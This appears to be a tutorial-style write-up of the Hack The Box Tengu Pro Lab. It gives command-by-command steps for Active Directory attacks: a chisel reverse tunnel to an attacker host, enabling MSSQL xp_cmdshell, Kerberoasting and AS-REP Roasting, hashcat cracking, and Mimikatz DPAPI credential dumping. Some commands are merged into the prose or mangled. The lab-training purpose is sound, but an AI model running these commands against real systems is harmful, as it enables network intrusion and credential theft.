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Introduction:
The Hack The Box (HTB) Tengu Pro Lab represents a critical milestone for offensive security professionals, simulating a complex enterprise Active Directory (AD) environment riddled with real-world vulnerabilities. This hands-on scenario moves beyond theoretical concepts, requiring practitioners to execute a full kill chain—from initial foothold to domain dominance—by leveraging advanced techniques like Kerberos exploitation, MSSQL attacks, and DPAPI abuse. Mastering these skills is essential for any red teamer or penetration tester aiming to validate and harden modern corporate networks.
Learning Objectives:
- Execute advanced initial access and lateral movement techniques within a Windows Active Directory environment.
- Leverage MSSQL servers as a pivot point for privilege escalation and credential theft.
- Master Kerberos-based attacks (e.g., Kerberoasting, AS-REP Roasting) and DPAPI operations to compromise user and machine secrets.
You Should Know:
1. Gaining the Initial Foothold & Enumeration
The first phase involves identifying exposed services and weak credentials to establish a beachhead. This often starts with thorough enumeration using tools like `nmap` and enum4linux.
Step-by-step guide:
- Network Enumeration: Map the target network to identify live hosts and open ports.
Linux command for comprehensive TCP scan nmap -sS -sV -O -p- 10.10.10.0/24 -oA tengu_scan
- SMB/AD Enumeration: Enumerate shares, users, and domain information if SMB ports are open.
Using enum4linux for AD enumeration enum4linux -a 10.10.10.10 Using Impacket's lookupsid for SID brute-forcing lookupsid.py 'domain/user:[email protected]'
- Initial Compromise: Exploit findings such as a vulnerable web application, weak service credentials (e.g., to MSSQL), or anonymous SMB share access to obtain initial shell access. This often yields a low-privileged user context.
2. Pivoting & Internal Network Reconnaissance
Once inside, you must map the internal network from your compromised host to identify critical assets like domain controllers, file servers, and database servers.
Step-by-step guide:
- Local Recon on Compromised Host: Gather network info, users, and running processes.
On Windows victim machine (via PS or cmd) ipconfig /all net users /domain netstat -ano
- Set Up a Pivot: Use tools like `chisel` or `ssh` to create a tunnel, allowing you to probe the internal network from your attacker machine.
On attacker machine (Linux) - start a reverse proxy chisel server -p 8080 --reverse & On victim (Windows) - connect to attacker to create a SOCKS proxy chisel.exe client 10.0.0.1:8080 R:socks
- Scan Internal Subnets: Proxy your scanning tools (e.g.,
nmap,bloodhound-python) through the pivot to discover new targets.
3. Exploiting MSSQL Attack Vectors
MSSQL servers are prime targets for privilege escalation and lateral movement, especially if configured with weak credentials or excessive privileges.
Step-by-step guide:
- Connect & Enumerate: Use compromised credentials to authenticate to the MSSQL instance.
Using Impacket's mssqlclient mssqlclient.py 'DOMAIN/user:[email protected]' -windows-auth
- Check for Privileges: Determine if the SQL user has `sysadmin` privileges or can enable `xp_cmdshell` for command execution.
-- SQL queries to check privileges SELECT IS_SRVROLEMEMBER('sysadmin'); EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; - Execute Commands & Steal Credentials: Use `xp_cmdshell` or linked servers to run OS commands, potentially dumping LSASS memory or harvesting credentials.
4. Kerberos Exploitation for Privilege Escalation
Kerberos, the authentication protocol of AD, is susceptible to several attacks when misconfigured, such as weak encryption or excessive user permissions.
Step-by-step guide:
- Harvest Ticket-Granting Tickets (TGTs): Look for users with “Do not require Kerberos pre-authentication” set (AS-REP Roasting).
Using Impacket's GetNPUsers GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.1 -no-pass
- Request Service Tickets for Crackable Hashes: Identify SPNs for Kerberoasting.
Using Impacket's GetUserSPNs GetUserSPNs.py DOMAIN/user:Password -dc-ip 10.10.10.1 -request
- Crack Offline: Use `hashcat` to crack the obtained Kerberos tickets (hashes).
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
5. Mastering DPAPI Operations for Credential Theft
The Data Protection API (DPAPI) protects secrets on Windows machines. Access to a user’s DPAPI master key allows decryption of their stored credentials (e.g., in browsers, saved Wi-Fi).
Step-by-step guide:
- Locate DPAPI Blobs and Master Keys: After gaining appropriate privileges, find key storage and protected files.
On compromised Windows host (PowerShell) dir C:\Users\AppData\Local\Microsoft\Protect\ /s dir C:\Users\AppData\Roaming\Microsoft\Protect\ /s
- Extract Master Key: Use tools like `Mimikatz` with the user’s password or `sekurlsa::dpapi` to dump keys from memory.
In Mimikatz sekurlsa::dpapi
- Decrypt Secrets: Use the extracted key to decrypt specific blobs (e.g., from Chrome or Credential Manager).
Using Impacket's dpapi.py with the retrieved key dpapi.py blob -key <MASTERKEY> <BLOB_FILE>
What Undercode Say:
- Real-World Emulation is Key: Labs like Tengu force you to connect disparate attack techniques into a coherent methodology, mirroring the persistence and adaptability required in actual engagements.
- Foundational Knowledge Powers Automation: While tools automate steps, deep understanding of protocols like Kerberos and DPAPI is crucial for troubleshooting and innovating when standard exploits fail. The true skill lies in knowing why a command works, not just typing it.
The Tengu lab underscores that modern red teaming is less about flashy zero-days and more about masterfully chaining well-documented vulnerabilities and misconfigurations. Success hinges on systematic enumeration, robust pivoting, and a thorough grasp of Windows authentication internals. This approach reveals the often-overlooked attack surface within complex AD forests.
Prediction:
The techniques refined in labs like Tengu will remain relevant but will increasingly intersect with cloud (Azure AD/Entra ID) and hybrid environments. Attack methodologies will evolve to leverage AI for automated attack path discovery and privileged credential synthesis, while defense will shift towards more pervasive use of biometrics, hardware-backed security (e.g., Windows Hello for Business, TPMs), and AI-driven anomaly detection in authentication logs. The core principles of understanding identity, trust, and data protection, however, will continue to be the bedrock of both offensive and defensive cybersecurity.
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